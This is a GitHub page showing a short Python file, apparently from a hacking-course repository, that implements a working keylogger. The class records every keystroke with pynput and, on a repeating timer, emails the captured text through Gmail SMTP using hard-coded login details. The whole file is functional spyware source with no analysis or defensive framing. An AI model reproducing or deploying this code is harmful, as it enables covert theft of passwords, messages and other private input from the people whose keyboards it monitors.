-
Notifications
You must be signed in to change notification settings - Fork 0
/
5. keylogger.py
39 lines (32 loc) · 1.14 KB
/
5. keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import smtplib
import pynput.keyboard
import threading
class Keylogger:
def __init__(self, email, password, interval):
self.content = "Keylogger Started"
self.email = email
self.password = password
self.interval = interval
def process_key_strike(self, key):
try:
self.content = self.content + str(key.char)
except AttributeError:
if key == key.space:
self.content = self.content + " "
else:
self.content = self.content + " " + str(key) + " "
def report(self):
self.send_mail(self.email, self.password, self.content)
self.content = ""
timer = threading.Timer(self.interval, self.report)
timer.start()
def send_mail(self, email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
def start(self):
my_listener = pynput.keyboard.Listener(on_press=self.process_key_strike)
with my_listener:
self.report()
my_listener.join()